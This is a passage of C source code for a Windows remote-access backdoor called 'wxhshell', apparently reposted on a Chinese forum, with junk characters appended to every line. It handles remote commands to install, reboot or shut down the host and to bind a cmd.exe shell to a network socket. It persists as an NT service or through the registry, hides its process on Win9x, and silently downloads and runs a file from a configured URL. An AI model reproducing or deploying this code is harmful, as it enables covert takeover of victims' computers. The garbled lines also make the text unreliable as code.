  else { \>B$x@-wg  
t^8 ii  
    switch(cmd[0]) { Nu/D$m'PY  
  o+NPe36  
  // 帮助 73n|G/9n[  
  case '?': { z XI [f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >"OwdAvX  
    break; 1q?b?.  
  } PpxLMe]  
  // 安装 qVHXZdGL  
  case 'i': { -K"" 4SC2  
    if(Install()) }Q }&3m~g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0XkLWl|k  
    else S]Y3nI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TT85G&#  
    break; {2A| F{7>  
    } Vxr_2Kra  
  // 卸载 4$5d*7  
  case 'r': { Dw%V.J/&o  
    if(Uninstall()) 2 }9of[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (31ia"i%  
    else c `[,>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V6c>1nZ  
    break; *Ce8( "v,  
    } 1v<,nABuJ6  
  // 显示 wxhshell 所在路径 @yGK $<R  
  case 'p': { AZj `o  
    char svExeFile[MAX_PATH]; d9j+==S <  
    strcpy(svExeFile,"\n\r"); J|O=w(  
      strcat(svExeFile,ExeFile); -\6";_Y  
        send(wsh,svExeFile,strlen(svExeFile),0); bqo+ b{i\  
    break; O#}d!}SIp  
    } [N35.O6P6u  
  // 重启 F!>92H~3G  
  case 'b': { .C 6wsmQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @Cnn8Y&'  
    if(Boot(REBOOT)) }3b3^f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b I%Sq+"}  
    else { pBZf=!+E  
    closesocket(wsh); 2qA"emUM  
    ExitThread(0); : ~R Y  
    } Czl4^STiC  
    break; z<3{.e\e  
    } ?Aq \Gr  
  // 关机 6w?l I  
  case 'd': { +qWrm |O]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~PTqR2x  
    if(Boot(SHUTDOWN)) gv6}GE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zb \E!>V  
    else { IIZu&iZo\  
    closesocket(wsh); wsfN \6e  
    ExitThread(0); zL^`r)H  
    } Kyr3)1#J  
    break; O_E\(So  
    } 6~oo.6bA  
  // 获取shell W[$GB_A)  
  case 's': { =DL |Q  
    CmdShell(wsh); =&!L&M<<  
    closesocket(wsh); )=k8W9i8b  
    ExitThread(0); %Voq"}}N  
    break; Y=NXfTc  
  } 0P+B-K>n  
  // 退出 l[,RA?i {  
  case 'x': { `<?{%ja  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ms(Z1ix^  
    CloseIt(wsh); o4[  
    break; +zl2| '  
    } h/LlH9S:!  
  // 离开 ^(Y}j8sj  
  case 'q': { \68x]q[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @nh* H{  
    closesocket(wsh); OBCH%\;g  
    WSACleanup(); <P%<EgOE  
    exit(1); FX->_}kL=  
    break; 2!w5eWl,  
        } i"B q*b@  
  } 9s.x%m,  
  } Mnv2tnU]  
w!5@PJ)~U  
  // 提示信息 D*nNu]|j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CnXl 7"  
} - &7\do<  
  } `U.VfQR:  
u%s@B1j  
  return; v M lT  
} g?9IS,Gp  
. `ND  
// shell模块句柄 QE#Ar8tU  
int CmdShell(SOCKET sock) G $F3dx.I  
{ #W]4aZ1  
STARTUPINFO si; #A:+|{H"  
ZeroMemory(&si,sizeof(si)); ]N& Y25oT5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #GlQwk3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e@`"V,i  
PROCESS_INFORMATION ProcessInfo; ZCcKY6b  
char cmdline[]="cmd"; sOf;I]E|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1DTA Dh0  
  return 0; t_+Xt$Q7C  
} w,s++bV;L  
+L]$M)*0&  
// 自身启动模式 TV['"'D&i  
int StartFromService(void) cu@i;Hb@  
{ 4/Mi-ls_  
typedef struct fOHgz ,x=  
{ 2 omKP,9,2  
  DWORD ExitStatus; 2!Gb4V  
  DWORD PebBaseAddress; O^2@9 w  
  DWORD AffinityMask; hoOT]Bsn  
  DWORD BasePriority; W5f|#{&L:  
  ULONG UniqueProcessId; ~vGX(8N  
  ULONG InheritedFromUniqueProcessId; T'K6Q cu  
}   PROCESS_BASIC_INFORMATION; $;V?xZm[  
6^Q/D7U;s  
PROCNTQSIP NtQueryInformationProcess; rgK:ujzW!  
`"-ln'nw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h(>eHP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p$:ERI  
SKUri  
  HANDLE             hProcess; Il8,g+W]  
  PROCESS_BASIC_INFORMATION pbi; $ Ith8p~  
P@xb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G9|w o)N  
  if(NULL == hInst ) return 0; .^F(&c*['  
?R MOy$L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HT% =o}y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P{gGvC,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B(zcoWQ*B  
nG~#o  
  if (!NtQueryInformationProcess) return 0; Rn4Bl8z'>  
A@?Rj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?b,x;hIO  
  if(!hProcess) return 0; jfOqE*frl!  
5.TeH@(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^tr?y??k  
BB.^[:,dA  
  CloseHandle(hProcess); l`wF;W!  
RP9jZRDbZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JHvawFBN<u  
if(hProcess==NULL) return 0; 6 o!*bWh  
'  ~F  
HMODULE hMod; q\r@x-&g+  
char procName[255]; qx;8Hq(E[  
unsigned long cbNeeded; d OYEl<!J  
->rr4xaKC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t!285J8tn  
kgZiyPcw  
  CloseHandle(hProcess); ox&PFI0Gn  
4owM;y  
if(strstr(procName,"services")) return 1; // 以服务启动 #86=[*Dr  
>Hd0l L  
  return 0; // 注册表启动 \$B%TY  
} yd>b2 M  
+! F+m V9  
// 主模块 $.0l% $7  
int StartWxhshell(LPSTR lpCmdLine) Pqtk1=U  
{ xk/osbKn  
  SOCKET wsl; 3&tJD  
BOOL val=TRUE; CBrC   
  int port=0; A7c*qBt  
  struct sockaddr_in door; <5t2+D]]}  
kM;fxR:-  
  if(wscfg.ws_autoins) Install(); pOKs VS%fT  
<,:5d2mM.  
port=atoi(lpCmdLine); NE1n9  
%vZTD +i  
if(port<=0) port=wscfg.ws_port; 6oA2"!u^w  
I%Yeq"5RB  
  WSADATA data; WW&ag r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k7cM.<s!  
QO;OeMQv%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #<k L.e[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G< _<j}=  
  door.sin_family = AF_INET; Q&k1' nT5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \v]esIP5R'  
  door.sin_port = htons(port); 5IJm_oy  
4b/>ZHFOF;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m.g2>r`NU  
closesocket(wsl); ^8q(_#w`K  
return 1; qPvWb1H:  
} 2vLV1v$,q  
L8WYxJ k  
  if(listen(wsl,2) == INVALID_SOCKET) { x Rp;y*  
closesocket(wsl); 4F=cER6l  
return 1; /qwl;_Jcf  
} ">|G^ @|:A  
  Wxhshell(wsl); 1. S?(1e"  
  WSACleanup(); OciPd/6  
oa;vLX$   
return 0; AS-%I+ A  
XN Gw@$  
} j-%@A`j;  
RO!em~{D*  
// 以NT服务方式启动 g-8D1.U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $uj3W<iw3E  
{ >&Ios<67g  
DWORD   status = 0; OC5\3H  
  DWORD   specificError = 0xfffffff; nb|KIW  
,CED%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7ZR0cJw;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P~^VLnw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Iss)7I  
  serviceStatus.dwWin32ExitCode     = 0; ON-zhT?v  
  serviceStatus.dwServiceSpecificExitCode = 0; 41XS/# M$*  
  serviceStatus.dwCheckPoint       = 0; :oeDksld  
  serviceStatus.dwWaitHint       = 0; ~C31=\$  
|1/UC"f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;%`oS.69  
  if (hServiceStatusHandle==0) return; ;_dOYG1  
TO5#iiM)  
status = GetLastError(); (`cXS5R  
  if (status!=NO_ERROR) PO@b9O  
{ 'L5ih|$>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s.IYPH|pn  
    serviceStatus.dwCheckPoint       = 0; G4jyi&]  
    serviceStatus.dwWaitHint       = 0; 4 >`2vb  
    serviceStatus.dwWin32ExitCode     = status; /73ANQ"  
    serviceStatus.dwServiceSpecificExitCode = specificError; C &~s<tcn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hYSzr-)  
    return; jnzOTS   
  } 9%& =n  
?K!^[aO}=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /t|Lu@&:Xo  
  serviceStatus.dwCheckPoint       = 0; *m6h(8(7Z  
  serviceStatus.dwWaitHint       = 0; De^Uc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '?O_(%3F0  
} D3(rD]c0{  
3`+Bq+  
// 处理NT服务事件,比如:启动、停止 N% !TFQf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #]5A|-O^  
{ YW7Pimks  
switch(fdwControl) I ]HP  
{ */)O8`}2  
case SERVICE_CONTROL_STOP: T)lkT?  
  serviceStatus.dwWin32ExitCode = 0; 4Je[!X@C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8_=MP[(H  
  serviceStatus.dwCheckPoint   = 0; 4T??8J-J  
  serviceStatus.dwWaitHint     = 0; LM2S%._cj;  
  { `P *wz<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6^VPRp  
  } L )53o!  
  return; (kmrWx= $  
case SERVICE_CONTROL_PAUSE: !4vepa}Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n]x%xnt  
  break; 8~j1  
case SERVICE_CONTROL_CONTINUE: k}hTSL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G<W;HMj2  
  break; m'PU0x  
case SERVICE_CONTROL_INTERROGATE: T8W;Lb9hQ  
  break; E]c0+rh~  
}; }l<:^lX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ko+fJ&$  
} TMw6 EM  
:x[SV^fw[  
// 标准应用程序主函数 ep)O|_=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H~<w*[uT  
{ Y ow  
yB5JvD ?  
// 获取操作系统版本 4'# ?"I  
OsIsNt=GetOsVer(); OVUJiBp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vJ9IDc|[  
/I48jO^2  
  // 从命令行安装 {JlSfJw !  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;)23@6{R%  
$i|d=D&t  
  // 下载执行文件 e5$S2o~JF  
if(wscfg.ws_downexe) { C0gO^A.d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F S!D  
  WinExec(wscfg.ws_filenam,SW_HIDE); *nx$r[Mqj  
} V{C{y5  
g@|2z  
if(!OsIsNt) { xU;/LJ6  
// 如果时win9x,隐藏进程并且设置为注册表启动 (Tv~$\=  
HideProc(); @bF4'M  
StartWxhshell(lpCmdLine); ni?5h5-  
} bc]SY =  
else 4vJg"*?  
  if(StartFromService()) C+%6N@  
  // 以服务方式启动 PrhGp _5  
  StartServiceCtrlDispatcher(DispatchTable); _^@>I8ix  
else ["WWaCcx  
  // 普通方式启动 5kLz8n^z@@  
  StartWxhshell(lpCmdLine); JXQh$hs  
+lw8YH  
return 0; 2?nEHIUT  
}
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只看该作者 1 发表于: 2006-10-10
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